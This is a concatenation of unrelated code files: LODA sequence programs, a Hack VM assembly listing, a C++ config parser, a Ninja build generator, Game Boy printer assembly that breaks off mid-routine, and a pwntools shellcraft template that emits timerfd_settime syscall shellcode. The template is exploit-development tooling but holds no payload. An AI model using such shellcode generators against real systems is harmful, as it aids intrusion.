mov ecx, 0x34343434
;TEST_BEGIN_RECORDING
imul ebx, ecx, 0xbbbbb
;TEST_END_RECORDING
|
; A335025: Largest side lengths of almost-equilateral Heronian triangles.
; 5,15,53,195,725,2703,10085,37635,140453,524175,1956245,7300803,27246965,101687055,379501253,1416317955,5285770565,19726764303,73621286645,274758382275,1025412242453,3826890587535,14282150107685,53301709843203,198924689265125,742397047217295,2770663499604053
mov $1,8
mov $2,$0
mov $3,8
lpb $2
lpb $3
mov $0,4
sub $3,$3
lpe
add $0,$1
add $0,$1
add $1,$0
sub $2,1
lpe
sub $1,8
div $1,4
mul $1,2
add $1,5
|
; A158230: 256n^2+2n.
; 258,1028,2310,4104,6410,9228,12558,16400,20754,25620,30998,36888,43290,50204,57630,65568,74018,82980,92454,102440,112938,123948,135470,147504,160050,173108,186678,200760,215354,230460,246078,262208,278850,296004,313670,331848,350538,369740,389454,409680,430418,451668,473430,495704,518490,541788,565598,589920,614754,640100,665958,692328,719210,746604,774510,802928,831858,861300,891254,921720,952698,984188,1016190,1048704,1081730,1115268,1149318,1183880,1218954,1254540,1290638,1327248,1364370
add $0,1
mov $1,$0
mul $0,2
mul $1,6
mov $2,$0
add $0,$1
mul $0,2
pow $0,2
add $0,$2
|
; A001354: Coordination sequence for hyperbolic tessellation 3^7 (from triangle group (2,3,7)).
; 1,7,21,56,147,385,1008,2639,6909,18088,47355,123977,324576,849751,2224677,5824280,15248163,39920209,104512464,273617183,716339085,1875400072,4909861131,12854183321,33652688832,88103883175,230658960693,603872998904,1580960036019,4139007109153,10836061291440,28369176765167,74271469004061,194445230247016,509064221736987,1332747434963945,3489178083154848,9134786814500599,23915182360346949,62610760266540248,163917098439273795,429140535051281137,1123504506714569616,2941372985092427711
mov $1,1
mov $3,6
lpb $0
sub $0,1
add $3,$1
add $2,$3
mov $1,$2
lpe
mov $0,$1
|
<%
import collections
import pwnlib.abi
import pwnlib.constants
import pwnlib.shellcraft
import six
%>
<%docstring>timerfd_settime(ufd, flags, utmr, otmr) -> str
Invokes the syscall timerfd_settime.
See 'man 2 timerfd_settime' for more information.
Arguments:
ufd(int): ufd
flags(int): flags
utmr(itimerspec*): utmr
otmr(itimerspec*): otmr
Returns:
int
</%docstring>
<%page args="ufd=0, flags=0, utmr=0, otmr=0"/>
<%
abi = pwnlib.abi.ABI.syscall()
stack = abi.stack
regs = abi.register_arguments[1:]
allregs = pwnlib.shellcraft.registers.current()
can_pushstr = []
can_pushstr_array = []
argument_names = ['ufd', 'flags', 'utmr', 'otmr']
argument_values = [ufd, flags, utmr, otmr]
# Load all of the arguments into their destination registers / stack slots.
register_arguments = dict()
stack_arguments = collections.OrderedDict()
string_arguments = dict()
dict_arguments = dict()
array_arguments = dict()
syscall_repr = []
for name, arg in zip(argument_names, argument_values):
if arg is not None:
syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))
# If the argument itself (input) is a register...
if arg in allregs:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[index] = arg
# The argument is not a register. It is a string value, and we
# are expecting a string value
elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)):
if isinstance(arg, six.text_type):
arg = arg.encode('utf-8')
string_arguments[name] = arg
# The argument is not a register. It is a dictionary, and we are
# expecting K:V paris.
elif name in can_pushstr_array and isinstance(arg, dict):
array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]
# The arguent is not a register. It is a list, and we are expecting
# a list of arguments.
elif name in can_pushstr_array and isinstance(arg, (list, tuple)):
array_arguments[name] = arg
# The argument is not a register, string, dict, or list.
# It could be a constant string ('O_RDONLY') for an integer argument,
# an actual integer value, or a constant.
else:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[target] = arg
# Some syscalls have different names on various architectures.
# Determine which syscall number to use for the current architecture.
for syscall in ['SYS_timerfd_settime']:
if hasattr(pwnlib.constants, syscall):
break
else:
raise Exception("Could not locate any syscalls: %r" % syscalls)
%>
/* timerfd_settime(${', '.join(syscall_repr)}) */
%for name, arg in string_arguments.items():
${pwnlib.shellcraft.pushstr(arg, append_null=(b'\x00' not in arg))}
${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}
%endfor
%for name, arg in array_arguments.items():
${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}
%endfor
%for name, arg in stack_arguments.items():
${pwnlib.shellcraft.push(arg)}
%endfor
${pwnlib.shellcraft.setregs(register_arguments)}
${pwnlib.shellcraft.syscall(syscall)}
|
Name: fzero_main_pal.asm
Type: file
Size: 46020
Last-Modified: '2000-11-08T02:03:14Z'
SHA-1: 78A7BF1B049BCF1FCC45AEC5F51AAAA84253968F
Description: null
|
; A021735: Decimal expansion of 1/731.
; Submitted by Jamie Morken(s1.)
; 0,0,1,3,6,7,9,8,9,0,5,6,0,8,7,5,5,1,2,9,9,5,8,9,6,0,3,2,8,3,1,7,3,7,3,4,6,1,0,1,2,3,1,1,9,0,1,5,0,4,7,8,7,9,6,1,6,9,6,3,0,6,4,2,9,5,4,8,5,6,3,6,1,1,4,9,1,1,0,8,0,7,1,1,3,5,4,3,0,9,1,6,5,5,2,6,6,7,5
add $0,1
mov $2,10
pow $2,$0
div $2,731
mov $0,$2
mod $0,10
|
@256
D=A
@SP
M=D
@Sys.init$ret.0
D=A
@SP
AM=M+1
A=A-1
M=D
@LCL
D=M
@SP
AM=M+1
A=A-1
M=D
@ARG
D=M
@SP
AM=M+1
A=A-1
M=D
@THIS
D=M
@SP
AM=M+1
A=A-1
M=D
@THAT
D=M
@SP
AM=M+1
A=A-1
M=D
@5
D=A
@0
D=D+A
@SP
D=M-D
@ARG
M=D
@SP
D=M
@LCL
M=D
@Sys.init
0; JMP
(Sys.init$ret.0)
(Class2.set)
@ARG
A=M
D=M
@SP
AM=M+1
A=A-1
M=D
@SP
AM=M-1
D=M
@Class2.0
M=D
@1
D=A
@ARG
A=D+M
D=M
@SP
AM=M+1
A=A-1
M=D
@SP
AM=M-1
D=M
@Class2.1
M=D
@0
D=A
@SP
AM=M+1
A=A-1
M=D
@LCL
A=M
D=A
@5
A=D-A
D=M
@R13
M=D
@SP
AM=M-1
D=M
@ARG
A=M
M=D
@ARG
D=M+1
@SP
M=D
@LCL
AM=M-1
D=M
@THAT
M=D
@LCL
AM=M-1
D=M
@THIS
M=D
@LCL
AM=M-1
D=M
@ARG
M=D
@LCL
AM=M-1
D=M
@LCL
M=D
@R13
A=M
0; JMP
(Class2.get)
@Class2.0
D=M
@SP
AM=M+1
A=A-1
M=D
@Class2.1
D=M
@SP
AM=M+1
A=A-1
M=D
@SP
AM=M-1
D=M
A=A-1
M=M-D
@LCL
A=M
D=A
@5
A=D-A
D=M
@R13
M=D
@SP
AM=M-1
D=M
@ARG
A=M
M=D
@ARG
D=M+1
@SP
M=D
@LCL
AM=M-1
D=M
@THAT
M=D
@LCL
AM=M-1
D=M
@THIS
M=D
@LCL
AM=M-1
D=M
@ARG
M=D
@LCL
AM=M-1
D=M
@LCL
M=D
@R13
A=M
0; JMP
(Class1.set)
@ARG
A=M
D=M
@SP
AM=M+1
A=A-1
M=D
@SP
AM=M-1
D=M
@Class1.0
M=D
@1
D=A
@ARG
A=D+M
D=M
@SP
AM=M+1
A=A-1
M=D
@SP
AM=M-1
D=M
@Class1.1
M=D
@0
D=A
@SP
AM=M+1
A=A-1
M=D
@LCL
A=M
D=A
@5
A=D-A
D=M
@R13
M=D
@SP
AM=M-1
D=M
@ARG
A=M
M=D
@ARG
D=M+1
@SP
M=D
@LCL
AM=M-1
D=M
@THAT
M=D
@LCL
AM=M-1
D=M
@THIS
M=D
@LCL
AM=M-1
D=M
@ARG
M=D
@LCL
AM=M-1
D=M
@LCL
M=D
@R13
A=M
0; JMP
(Class1.get)
@Class1.0
D=M
@SP
AM=M+1
A=A-1
M=D
@Class1.1
D=M
@SP
AM=M+1
A=A-1
M=D
@SP
AM=M-1
D=M
A=A-1
M=M-D
@LCL
A=M
D=A
@5
A=D-A
D=M
@R13
M=D
@SP
AM=M-1
D=M
@ARG
A=M
M=D
@ARG
D=M+1
@SP
M=D
@LCL
AM=M-1
D=M
@THAT
M=D
@LCL
AM=M-1
D=M
@THIS
M=D
@LCL
AM=M-1
D=M
@ARG
M=D
@LCL
AM=M-1
D=M
@LCL
M=D
@R13
A=M
0; JMP
(Sys.init)
@6
D=A
@SP
AM=M+1
A=A-1
M=D
@8
D=A
@SP
AM=M+1
A=A-1
M=D
@Class1.set$ret.1
D=A
@SP
AM=M+1
A=A-1
M=D
@LCL
D=M
@SP
AM=M+1
A=A-1
M=D
@ARG
D=M
@SP
AM=M+1
A=A-1
M=D
@THIS
D=M
@SP
AM=M+1
A=A-1
M=D
@THAT
D=M
@SP
AM=M+1
A=A-1
M=D
@5
D=A
@2
D=D+A
@SP
D=M-D
@ARG
M=D
@SP
D=M
@LCL
M=D
@Class1.set
0; JMP
(Class1.set$ret.1)
@SP
AM=M-1
D=M
@5
M=D
@23
D=A
@SP
AM=M+1
A=A-1
M=D
@15
D=A
@SP
AM=M+1
A=A-1
M=D
@Class2.set$ret.2
D=A
@SP
AM=M+1
A=A-1
M=D
@LCL
D=M
@SP
AM=M+1
A=A-1
M=D
@ARG
D=M
@SP
AM=M+1
A=A-1
M=D
@THIS
D=M
@SP
AM=M+1
A=A-1
M=D
@THAT
D=M
@SP
AM=M+1
A=A-1
M=D
@5
D=A
@2
D=D+A
@SP
D=M-D
@ARG
M=D
@SP
D=M
@LCL
M=D
@Class2.set
0; JMP
(Class2.set$ret.2)
@SP
AM=M-1
D=M
@5
M=D
@Class1.get$ret.3
D=A
@SP
AM=M+1
A=A-1
M=D
@LCL
D=M
@SP
AM=M+1
A=A-1
M=D
@ARG
D=M
@SP
AM=M+1
A=A-1
M=D
@THIS
D=M
@SP
AM=M+1
A=A-1
M=D
@THAT
D=M
@SP
AM=M+1
A=A-1
M=D
@5
D=A
@0
D=D+A
@SP
D=M-D
@ARG
M=D
@SP
D=M
@LCL
M=D
@Class1.get
0; JMP
(Class1.get$ret.3)
@Class2.get$ret.4
D=A
@SP
AM=M+1
A=A-1
M=D
@LCL
D=M
@SP
AM=M+1
A=A-1
M=D
@ARG
D=M
@SP
AM=M+1
A=A-1
M=D
@THIS
D=M
@SP
AM=M+1
A=A-1
M=D
@THAT
D=M
@SP
AM=M+1
A=A-1
M=D
@5
D=A
@0
D=D+A
@SP
D=M-D
@ARG
M=D
@SP
D=M
@LCL
M=D
@Class2.get
0; JMP
(Class2.get$ret.4)
(Sys.Sys.init$WHILE)
@Sys.Sys.init$WHILE
0; JMP
|
#include "config.hpp"
namespace aquarius
{
namespace input
{
class Tokenizer
{
protected:
int lineno;
istream& is;
string line;
istringstream iss;
bool nextLine()
{
while (true)
{
if (!is) return false;
lineno++;
getline(is, line);
iss.clear();
iss.str(line);
char c;
while (!(!iss.get(c)))
{
if (c != ' ' && c != '\t' && c != '\r')
{
if (c == '#')
{
break;
}
else
{
iss.unget();
return true;
}
}
}
}
return false;
}
public:
Tokenizer(istream& is)
: lineno(0), is(is) {}
int getLine() const { return lineno; }
bool next(string& str)
{
ostringstream oss;
string token;
iss >> token;
while (token.size() == 0)
{
if (!nextLine()) return false;
iss >> token;
}
if (token[0] == '"')
{
oss << token.substr(1);
char c;
while (!(!iss.get(c)))
{
if (c == '"') break;
oss << c;
}
if (!iss) throw FormatError("End of line reached while looking for closing \" character", lineno);
}
else
{
oss << token;
}
str = oss.str();
return true;
}
};
string Config::Node::path() const
{
if (parent) return parent->fullName();
else return string();
}
string Config::Node::fullName() const
{
string p = path();
if (p.empty()) return data;
else return p + '.' + data;
}
shared_ptr<Config::Node> Config::Node::clone() const
{
Node *node = new Node();
node->data = data;
for (const Node& child : children) node->children.push_back(child.clone());
for (Node& child : node->children) child.parent = node;
return shared_ptr<Node>(node);
}
void Config::Node::write(ostream& os, int level) const
{
for (int i = 0;i < level;i++) os << '\t';
if (data.find(' ') != string::npos)
{
os << "\"" << data << "\"\n";
}
else
{
os << data << "\n";
}
for (const Node& c : children)
{
c.write(os, level+1);
}
}
shared_list<Config::Node>::iterator Config::Node::getChild(int which)
{
auto i = children.begin();
for (;i != children.end() && which > 0;++i, --which);
return i;
}
shared_list<Config::Node>::iterator Config::Node::addChild(const string& data)
{
children.emplace_back();
children.back().parent = this;
children.back().data = data;
return --children.end();
}
void Config::Node::removeChild(const Node& child)
{
children.remove_if([&child](const Node& x) { return &x == &child; });
}
ostream& operator<<(ostream& os, const Config::Node& n)
{
n.write(os);
return os;
}
Config::Config(istream& is)
{
read(".", is);
}
Config::Config(const string& s)
{
istringstream iss(s);
read(".", iss);
}
Config Config::clone() const
{
return Config(root->clone());
}
Config Config::get(const string& path)
{
Node* n = resolve(*root, path);
if (n == NULL) throw EntryNotFoundError(path);
auto i = n->parent->children.pbegin();
while (i->get() != n) ++i;
return Config(*i);
}
Config::Node* Config::resolve(Node& node, const string& path, bool create)
{
size_t pos = path.find('.');
string name = path.substr(0, pos);
/*
if (name[name.length()-1] == ']')
{
size_t pos2 = name.find('[');
if (pos2 == string::npos) throw EntryNotFoundError(path);
if (!(istringstream(name.substr(pos2+1,name.length()-1)) >> which)) throw EntryNotFoundError(path);
name = name.substr(0, pos2);
}
*/
Node *child = NULL;
for (Node& c : node.children)
{
if (name == c.data)
{
child = &c;
break;
}
}
if (child == NULL && create)
{
child = &*node.addChild();
}
if (pos == string::npos || child == NULL)
{
return child;
}
else
{
return resolve(*child, path.substr(pos+1));
}
}
void Config::read(const string& file)
{
string cwd;
if (file.find('/') == string::npos)
{
cwd = ".";
}
else
{
cwd = file.substr(0, file.rfind('/'));
}
ifstream ifs(file.c_str());
read(cwd, ifs);
}
void Config::read(const string& cwd, istream& is)
{
root.reset(new Node());
ptr_vector<Node> current = {root.get(), root.get()};
Tokenizer t(is);
string token;
while (t.next(token))
{
for (string::size_type i = 0;i < token.size();)
{
if (token[i] == '{')
{
current.push_back(current.pback());
i++;
}
else if (token[i] == '}')
{
if (current.size() < 2) throw FormatError("Too many }'s", t.getLine());
current.pop_back();
i++;
}
else if (token[i] == ',')
{
assert(current.size() >= 2);
current.ptr(current.size()-1) = current.ptr(current.size()-2);
i++;
}
else
{
string::size_type pos = token.find_first_of("{},", i);
string::size_type len = (pos == string::npos ? token.size() : pos)-i;
string node = token.substr(i, len);
if (node == "include")
{
if (i+len != token.size())
{
throw FormatError("\"include\" must be immediately followed by a filename", t.getLine());
}
t.next(token);
pos = token.find_first_of("{},", i);
len = (pos == string::npos ? token.size() : pos);
if (pos == 0)
{
throw FormatError("\"include\" must be immediately followed by a filename", t.getLine());
}
string fname = token.substr(0, len);
if (fname[0] != '/') fname = cwd+'/'+fname;
Config leaf; leaf.read(fname);
current.back().children.splice(current.back().children.end(), leaf.root->children);
for (Node& c : current.back().children)
{
c.parent = current.pback();
}
}
else
{
current.pback() = &*current.back().addChild(node);
}
i += len;
}
}
}
if (current.size() != 2) throw FormatError("Too few }'s", t.getLine());
}
void Config::write(const string& file) const
{
ofstream ofs(file.c_str());
write(ofs);
}
void Config::write(ostream& os) const
{
os << *root;
}
vector<pair<string,Config>> Config::find(const string& pattern)
{
vector<pair<string,Config>> v;
find(*root, "", pattern, v);
return v;
}
bool Config::matchesWithGlobs(const char* str, const char* pat) const
{
const char* s = str;
const char* p = pat;
while (true)
{
if (*s == '\0')
{
if (*p == '\0')
{
return true;
}
else
{
/*
* if all remaining chars in pat are *, str matches
* otherwise, nothing can be done
*/
for (;*p == '*';p++);
return (*p == '\0');
}
}
else
{
if (*p == '\0') return false;
if (*p == '*')
{
/*
* find next char in pat that is not '*'
* if none exists, then the rest of str automatically matches
*/
for (;*p == '*';p++);
if (*p == '\0') return true;
/*
* try each character in str that matches this next non-'*' character
* if none work, then no match
*/
do
{
for (;*s != *p;s++);
if (*s == '\0') return false;
}
while (!matchesWithGlobs(++s, p+1));
return true;
}
else
{
/*
* if the next char in pat is non-'*', then it must match
*/
if (*s++ != *p++) return false;
}
}
}
return true;
}
//template<>
bool Config::Parser<bool>::parse(istream& is)
{
char buf[6];
string bad = " \t\n,]";
is.get(buf[0]);
if (bad.find(buf[0]) != string::npos) throw BadValueError();
if (strncasecmp(buf, "1", 1) == 0) return true;
if (strncasecmp(buf, "0", 1) == 0) return false;
is.get(buf[1]);
if (bad.find(buf[1]) != string::npos) throw BadValueError();
if (strncasecmp(buf, "on", 2) == 0) return true;
if (strncasecmp(buf, "no", 2) == 0) return false;
is.get(buf[2]);
if (bad.find(buf[2]) != string::npos) throw BadValueError();
if (strncasecmp(buf, "yes", 3) == 0) return true;
if (strncasecmp(buf, "off", 3) == 0) return false;
is.get(buf[3]);
if (bad.find(buf[3]) != string::npos) throw BadValueError();
if (strncasecmp(buf, "true", 4) == 0) return true;
if (strncasecmp(buf, "keep", 4) == 0) return true;
is.get(buf[4]);
if (bad.find(buf[4]) != string::npos) throw BadValueError();
if (strncasecmp(buf, "false", 5) == 0) return false;
is.get(buf[5]);
if (bad.find(buf[5]) != string::npos) throw BadValueError();
if (strncasecmp(buf, "delete", 6) == 0) return false;
throw BadValueError();
}
string Config::Extractor<string>::extract(Node& node, int which)
{
auto i = node.getChild(which);
if (i == node.children.end()) throw NoValueError(node.fullName());
return i->data;
}
Config Config::Extractor<Config>::extract(Node& node, int which)
{
auto i = node.parent->children.pbegin();
while (i->get() != &node) ++i;
return Config(*i);
}
template<>
void Config::set<string>(const string& path, const string& data, int which, bool create)
{
Node* n = resolve(*root, path, create);
if (n == NULL) throw EntryNotFoundError(path);
auto i = n->getChild(which);
if (i == n->children.end())
{
if (!create) throw NoValueError(path);
i = n->addChild();
}
i->data = data;
}
void Schema::apply(Config& config) const
{
apply(*root, *config.root);
}
void Schema::apply(const Node& schema, Node& root) const
{
if (!isPrimitive(schema))
{
int minwild = 0;
int maxwild = 0;
for (const Node& s : schema.children)
{
int slen = s.data.length();
if (s.data[slen-1] == '*')
{
if (s.data == "*")
{
maxwild = -1;
continue;
}
for (Node& r : root.children)
{
if (s.data.compare(0, slen-1, r.data, 0, slen-1) == 0)
{
apply(s, r);
}
}
}
else if (s.data[slen-1] == '+')
{
if (s.data == "*+")
{
minwild++;
maxwild = -1;
continue;
}
bool found = false;
for (Node& r : root.children)
{
if (s.data.compare(0, slen-1, r.data, 0, slen-1) == 0)
{
found = true;
apply(s, r);
}
}
if (!found)
throw SchemaValidationError("required node not found: " + s.data);
}
else if (s.data[slen-1] == '?')
{
if (s.data == "*?")
{
if (maxwild != -1) maxwild++;
continue;
}
bool found = false;
for (Node& r : root.children)
{
if (s.data.compare(0, slen-1, r.data, 0, slen-1) == 0)
{
if (found)
throw SchemaValidationError("multiple copies of one-time node found: " + s.data);
found = true;
apply(s, r);
}
}
if (!found)
{
Node& r = *root.addChild(s.data.substr(0, slen-1));
apply(s, r);
}
}
else
{
bool found = false;
for (Node& r : root.children)
{
if (s.data == r.data)
{
if (found)
throw SchemaValidationError("multiple copies of one-time node found: " + s.data);
found = true;
apply(s, r);
}
}
if (!found)
throw SchemaValidationError("required node not found: " + s.data);
}
}
int nwild = 0;
for (Node& r : root.children)
{
bool found = false;
for (const Node& s : schema.children)
{
int slen = s.data.length();
if (s.data == "*" || s.data == "*+" || s.data == "*?") continue;
if (s.data[slen-1] == '*' || s.data[slen-1] == '+' || s.data[slen-1] == '?') slen--;
if (s.data.compare(0, slen, r.data, 0, slen) == 0)
{
found = true;
break;
}
}
if (!found)
{
nwild++;
if (maxwild != -1 && nwild > maxwild)
{
throw SchemaValidationError("The node " + r.data + " is not a valid child of " + root.fullName());
}
}
}
if (nwild < minwild)
{
throw SchemaValidationError("The are too few wildcard nodes on " + root.fullName());
}
}
else //primitive
{
const Node& s = schema.children.front();
if (root.children.empty()) //value not specified
{
if (hasDefault(s))
{
root.addChild(s.children.front().data);
}
else //no default
{
int slen = schema.data.length();
if (schema.data[slen-1] == '?')
{
root.parent->removeChild(root);
}
else
{
throw SchemaValidationError("no value specified and no default: " + root.data);
}
}
}
else //value specified
{
if (root.children.size() != 1)
throw SchemaValidationError("multiple values for primitive: " + root.data);
Node& r = root.children.front();
if (s.data == "int")
{
if (!isInt(r.data))
throw SchemaValidationError("data is not an integer: " + root.data);
}
else if (s.data == "double")
{
if (!isDouble(r.data))
throw SchemaValidationError("data is not a double: " + root.data);
}
else if (s.data == "bool")
{
if (!isBool(r.data))
throw SchemaValidationError("data is not a boolean: " + root.data);
}
else if (s.data == "enum")
{
bool found = false;
for (const Node& e : s.children)
{
if (r.data == e.data)
{
found = true;
break;
}
}
if (!found)
throw SchemaValidationError("value is not in enum: " + root.data);
}
else if (s.data == "string")
{
//anything goes
}
}
}
}
bool Schema::isInt(const string& data) const
{
int pos = 0;
if (data[0] == '-') pos = 1;
if (data.find_first_not_of("0123456789", pos) == string::npos) return true;
return false;
}
bool Schema::isDouble(const string& data) const
{
double x;
if (!(istringstream(data) >> x)) return false;
return true;
}
bool Schema::isBool(const string& data) const
{
if (strcasecmp(data.c_str(), "yes") == 0 ||
strcasecmp(data.c_str(), "true") == 0 ||
strcasecmp(data.c_str(), "keep") == 0 ||
strcasecmp(data.c_str(), "1") == 0 ||
strcasecmp(data.c_str(), "on") == 0 ||
strcasecmp(data.c_str(), "no") == 0 ||
strcasecmp(data.c_str(), "false") == 0 ||
strcasecmp(data.c_str(), "delete") == 0 ||
strcasecmp(data.c_str(), "off") == 0 ||
strcasecmp(data.c_str(), "0") == 0) return true;
return false;
}
bool Schema::isPrimitive(const Node& schema) const
{
if (schema.children.size() != 1) return false;
if (schema.children.front().data == "int" ||
schema.children.front().data == "double" ||
schema.children.front().data == "bool" ||
schema.children.front().data == "enum" ||
schema.children.front().data == "string") return true;
return false;
}
bool Schema::hasDefault(const Node& schema) const
{
if (schema.children.empty()) return false;
return true;
}
}
}
|
/*
* (C) 2015-2016 Augustin Cavalier
* All rights reserved. Distributed under the terms of the MIT license.
*/
#include "NinjaGenerator.h"
#include "Phoenix.h"
#include "util/FSUtil.h"
#include "util/StringUtil.h"
#include "util/PrintUtil.h"
#include "util/OSUtil.h"
using std::string;
using std::vector;
NinjaGenerator::NinjaGenerator()
:
fFeaturePoolConsole(false)
{
}
NinjaGenerator::~NinjaGenerator()
{
}
bool NinjaGenerator::check()
{
PrintUtil::checking("if Ninja is installed and working");
fNinjaExecutable = FSUtil::which("ninja");
if (fNinjaExecutable.empty()) {
PrintUtil::checkFinished("not installed", 0);
PrintUtil::error("Ninja is either not installed or not in PATH.");
return false;
}
OSUtil::ExecResult e = OSUtil::exec(fNinjaExecutable, "--version");
if (e.exitcode != 0) {
PrintUtil::checkFinished("failed to get version", 0);
PrintUtil::error("'ninja --version' did not exit with 0, something is very wrong.");
return false;
}
string version = StringUtil::trim(e.output);
if (version < "1.3.0") {
PrintUtil::checkFinished("too old", 0);
PrintUtil::error("the installed Ninja is v" + version + ", Phoenix requires v1.3.0 or better");
return false;
}
if (version >= "1.5.0") {
PrintUtil::checkFinished("yes", 2);
fRequiredVersion = "1.5";
fFeaturePoolConsole = true;
} else {
PrintUtil::checkFinished("old, but acceptable", 1);
fRequiredVersion = "1.3";
}
return true;
}
string NinjaGenerator::escapeString(const string& str)
{
string ret = str;
StringUtil::replaceAll(ret, ":", "$:");
StringUtil::replaceAll(ret, " ", "$ ");
return ret;
}
void NinjaGenerator::setBuildScriptFiles(const string& program, const vector<string> files)
{
fRulesLines.push_back("rule RERUN_PHOENIX\n"
" command = " + program + "\n"
" description = Re-running Phoenix...\n"
" generator = 1\n" +
(fFeaturePoolConsole ? " pool = console\n" : "")
);
string phony = "build"; // So it doesn't error out if a file is missing
string build = "build build.ninja: RERUN_PHOENIX |";
for (string file : files) {
string add = " " + escapeString(file);
build += add;
phony += add;
}
phony += ": phony\n";
fBuildLines.push_back(build);
fBuildLines.push_back(phony);
}
void NinjaGenerator::addRegularRule(const string& ruleName, const string& descName,
const vector<string>& forExts, const string& program, const string& outFileExt,
DependencyFormat depFormat, const std::string& depPrefix, const string& rule)
{
if (depFormat == StdoutFormat && !depPrefix.empty() && fDepsPrefix.empty())
fDepsPrefix = depPrefix;
string realRule = rule;
StringUtil::replaceAll(realRule, "%INPUTFILE%", "$in");
StringUtil::replaceAll(realRule, "%OUTPUTFILE%", "$out");
StringUtil::replaceAll(realRule, "%TARGETFLAGS%", "$targetflags");
string ruleLine = "rule " + ruleName + "\n"
" command = " + program + " " + realRule + "\n"
" description = " + descName + " $out\n";
if (depFormat == MakeFormat) {
ruleLine += " depfile = $out.d\n"
" deps = gcc\n";
} else if (depFormat == StdoutFormat) {
ruleLine += " deps = msvc\n";
}
fRulesLines.push_back(ruleLine);
RuleForExt itm;
itm.outFileExt = outFileExt;
itm.ruleName = ruleName;
for (string ext : forExts)
fRulesForExts.insert({ext, itm});
}
void NinjaGenerator::addLinkRule(const string& ruleName,
const string& descName, const string& program, const string& rule)
{
string realRule = rule;
StringUtil::replaceAll(realRule, "%INPUTFILE%", "$in");
StringUtil::replaceAll(realRule, "%OUTPUTFILE%", "$out");
StringUtil::replaceAll(realRule, "%TARGETFLAGS%", "$targetflags");
fRulesLines.push_back("rule " + ruleName + "\n"
" command = " + program + " " + realRule + "\n"
" description = " + descName + " $out");
}
void NinjaGenerator::addTarget(const string& linkRule, const string& outputBinaryName,
const vector<string>& inputFiles, const string& targetFlags, const Target*)
{
vector<string> outfiles;
string targetflagsvar = "tf_" + StringUtil::split(outputBinaryName, ".")[0];
if (!targetFlags.empty())
fBuildLines.push_back(targetflagsvar + " = " + targetFlags);
for (string file : inputFiles) {
vector<string> splitByDot = StringUtil::split(file, ".");
vector<string> splitBySlash = StringUtil::split(file, "/");
string ext = "." + splitByDot[splitByDot.size() - 1];
RuleForExt rule = fRulesForExts[ext];
string outFile = "build-" + outputBinaryName + "/" +
splitBySlash[splitBySlash.size() - 1] + rule.outFileExt;
outfiles.push_back(outFile);
string line = "build " + escapeString(outFile) + ": " +
rule.ruleName + " " + escapeString(file);
if (targetflagsvar.length())
line += "\n targetflags = $" + targetflagsvar;
fBuildLines.push_back(line);
}
std::string targetFile = /* TODO: runtimeOutputDirectory */ outputBinaryName;
fBuildLines.push_back("build " + targetFile + ": " + linkRule +
" " + StringUtil::join(outfiles, " ") + "\n");
fTargets.push_back(targetFile);
}
vector<string> NinjaGenerator::outputFiles()
{
return {"build.ninja"};
}
string NinjaGenerator::command(const string& target)
{
return fNinjaExecutable + (target.empty() ? "" : " " + target);
}
void NinjaGenerator::write()
{
FSUtil::setContents("build.ninja",
"# This file was automatically generated by Phoenix " PHOENIX_VERSION "\n"
"# ALL CHANGES WILL BE LOST ON NEXT REGENERATION!\n"
"ninja_required_version = " + fRequiredVersion + "\n\n" +
// Setup stuff
(fDepsPrefix.empty() ? "" : "msvc_deps_prefix = " + fDepsPrefix + "\n") +
// Default targets/commands
"rule CLEAN\n"
" command = ninja -t clean\n"
" description = Cleaning all built files...\n"
"build clean: CLEAN\n\n"
// Default variables
"targetflags = \n\n" +
// Actual build stuff
StringUtil::join(fRulesLines, "\n") + "\n" +
StringUtil::join(fBuildLines, "\n") + "\n" +
// "all" target & target defaults
"build all: phony " + StringUtil::join(fTargets, " ") + "\n" +
"default all\n");
}
|
const_def
const PRINTER_STATUS_BLANK
const PRINTER_STATUS_CHECKING_LINK
const PRINTER_STATUS_TRANSMITTING
const PRINTER_STATUS_PRINTING
const PRINTER_ERROR_1
const PRINTER_ERROR_2
const PRINTER_ERROR_3
const PRINTER_ERROR_4
const PRINTER_ERROR_WRONG_DEVICE
INCLUDE "engine/printer/serial.asm"
PrintPokedexEntry:
ld a, [wUpdateSpritesEnabled]
push af
xor a
ld [wUpdateSpritesEnabled], a
ld [hCanceledPrinting], a
call Printer_PlayPrinterMusic
ld a, [rIE]
push af
xor a
ld [rIF], a
ld a, $9
ld [rIE], a
xor a
ld [H_AUTOBGTRANSFERENABLED], a
call Printer_GetDexEntryRegisters
call Printer_StartTransmission
ld a, [wPrinterPokedexMonIsOwned]
and a
jr z, .not_caught
ld a, 16
jr .got_size
.not_caught
ld a, 19
.got_size
ld [wcae2], a
call Printer_CopyTileMapToPrinterTileBuffer
call ClearScreen
callab Pokedex_DrawInterface
callab Pokedex_PlacePokemonList
ld a, $1
ld [H_AUTOBGTRANSFERENABLED], a
call .TryPrintPage
jr c, .finish_printing
ld a, [wPrinterPokedexMonIsOwned]
and a
jr z, .finish_printing
xor a
ld [wPrinterConnectionOpen], a
ld [wPrinterOpcode], a
ld c, $c
call DelayFrames
call SaveScreenTilesToBuffer1
xor a
ld [H_AUTOBGTRANSFERENABLED], a
call Printer_PrepareDexEntryForPrinting
ld a, $7
call Printer_StartTransmission
ld a, $3
ld [wcae2], a
call Printer_CopyTileMapToPrinterTileBuffer
call LoadScreenTilesFromBuffer1
ld a, $1
ld [H_AUTOBGTRANSFERENABLED], a
call .TryPrintPage
.finish_printing
xor a
ld [wPrinterConnectionOpen], a
ld [wPrinterOpcode], a
xor a
ld [rIF], a
pop af
ld [rIE], a
call ReloadMapAfterPrinter
call Printer_PlayMapMusic
pop af
ld [wUpdateSpritesEnabled], a
ret
.TryPrintPage:
call Printer_ResetJoypadHRAM
.print_loop
call JoypadLowSensitivity
call Printer_CheckPressingB
jr c, .pressed_b
ld a, [wPrinterSendState]
bit 7, a
jr nz, .completed
call PrinterTransmissionJumptable
call GBPrinter_CheckForErrors
call GBPrinter_UpdateStatusMessage
call DelayFrame
jr .print_loop
.completed
and a
ret
.pressed_b
scf
ret
Printer_GetDexEntryRegisters:
callab DrawDexEntryOnScreen
ld a, l
